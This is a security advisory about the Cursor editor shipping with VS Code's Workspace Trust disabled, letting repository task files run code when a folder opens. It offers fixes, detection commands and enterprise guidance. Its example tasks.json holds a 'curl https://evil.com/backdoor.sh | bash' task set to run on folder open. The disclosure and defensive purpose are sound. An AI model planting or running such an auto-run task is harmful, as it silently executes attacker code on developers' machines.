Cursor AI Security Vulnerability: Critical Workspace Trust Bypass

Executive Summary

Critical Flaw: Cursor AI ships with VS Code's Workspace Trust security feature disabled by default, allowing arbitrary code execution when opening untrusted repositories.

Attack Vector: Malicious .vscode/tasks.json files execute automatically on folder open without user consent.

Scope: All Cursor versions 0.1.0 through 0.39.4+ affected. VS Code users unaffected (security enabled by default).

Technical Specifications

Vulnerability Details

• CVE Status: Not assigned (disclosed September 12, 2025)
• Discoverer: Oasis Security
• Attack Complexity: Low (no social engineering required)
• Privileges Required: None
• User Interaction: None (silent execution)

Attack Implementation

{
  "tasks": [
    {
      "label": "auto-pwn",
      "type": "shell", 
      "command": "curl https://evil.com/backdoor.sh | bash",
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ]
}

Critical Failure Points

• Silent Execution: No warnings or consent dialogs
• Full Privilege Access: Runs with user's complete system permissions
• Immediate Execution: Triggers on folder open, not on file interaction
• Windows PATH Limit: 260-character limit may cause some attacks to fail

Configuration Requirements

Immediate Fix (Required)

1. Navigate: Settings → Security → Workspace Trust
2. Enable: Workspace Trust feature
3. Verify: Check for "Enabled" status

Detection Commands

# Check running processes
ps aux | grep -v grep

# Check network connections
netstat -tuln
lsof -i

# Check command history
history | tail -50

# Linux: Check auth logs
cat /var/log/auth.log

# Mac: Use Console.app for process launches
# Windows: Event Viewer (manual inspection required)

Resource Requirements

Time Investment

• Immediate Action: 2-3 minutes to enable security
• System Audit: 15-30 minutes for comprehensive check
• Recovery (if compromised): 2-4 hours for credential rotation and system verification

Expertise Level

• Basic Fix: Beginner (follow settings path)
• Compromise Detection: Intermediate (command-line familiarity required)
• System Recovery: Advanced (security best practices knowledge)

Critical Warnings

What Documentation Doesn't Tell You

• UI Confusion: Even with Workspace Trust enabled, trust dialog is unclear
• Developer Habits: Users commonly click "yes" without reading warnings
• Version-Specific Issues:
  • v0.39.3 has memory leak with large repositories
  • v0.35.x and earlier missing additional security patches

Common Attack Scenarios

• Tutorial repositories with hidden malicious tasks
• Open source projects with compromised configurations
• Code samples from forums (Stack Overflow, Reddit)
• "Awesome" lists and curated collections

Real-World Impact

• Developer Workflow: Constant repository cloning creates high exposure
• Corporate Networks: Single compromise can spread laterally
• Credential Theft: Access to stored GitHub tokens, SSH keys, cloud credentials

Decision Support Information

Cursor vs. Alternatives

Factor	Cursor	VS Code	Risk Level
Security Default	Disabled	Enabled	High
AI Integration	Native	Extension-based	Medium
Update Frequency	Rapid	Stable	Variable
Security Disclosure	Poor	Transparent	High

Migration Considerations

• Stay with Cursor: Enable security, accept ongoing risk of similar issues
• Move to VS Code + Copilot: More secure, established security practices
• Alternative AI Editors: Assume vulnerable until proven otherwise

Operational Intelligence

Failure Scenarios

1. Clone-and-Open Workflow: Most vulnerable developer pattern
2. Bulk Repository Processing: Automated tools amplify exposure
3. Team Environments: One compromise affects shared resources

Hidden Costs

• Security Audit Time: Regular verification of trust settings required
• Workflow Friction: Security prompts slow development velocity
• Training Overhead: Team education on secure repository handling

Community Response

• Vendor Silence: Cursor has not publicly acknowledged vulnerability
• Security Research Gap: AI coding tools understudied by security community
• Industry Pattern: Speed-to-market prioritized over security

Compliance and Governance

Enterprise Considerations

• Policy Updates: Require Workspace Trust for all AI coding tools
• Audit Requirements: Regular verification of security settings
• Risk Assessment: Factor into technology approval processes

Regulatory Impact

• Data Protection: Potential violation if customer code accessed
• Incident Reporting: May trigger breach notification requirements
• Vendor Management: Due diligence process needs security verification

Monitoring and Detection

Indicators of Compromise

• Unexpected network connections after opening repositories
• Unknown processes spawned during Cursor startup
• Modified system files or configurations
• Unusual command history entries

Prevention Strategies

• Repository sandboxing for untrusted sources
• Network monitoring for suspicious outbound connections
• Regular security setting audits
• Automated workspace trust enforcement

Long-term Implications

Industry Impact

• Reveals systematic security issues in AI development tool rush
• Highlights need for security-first approach in AI coding assistance
• Demonstrates gap between established editors and AI-enhanced forks

Future Risks

• Similar vulnerabilities likely in other AI coding tools
• Attackers will adapt to target AI-specific workflows
• Supply chain attacks through compromised development environments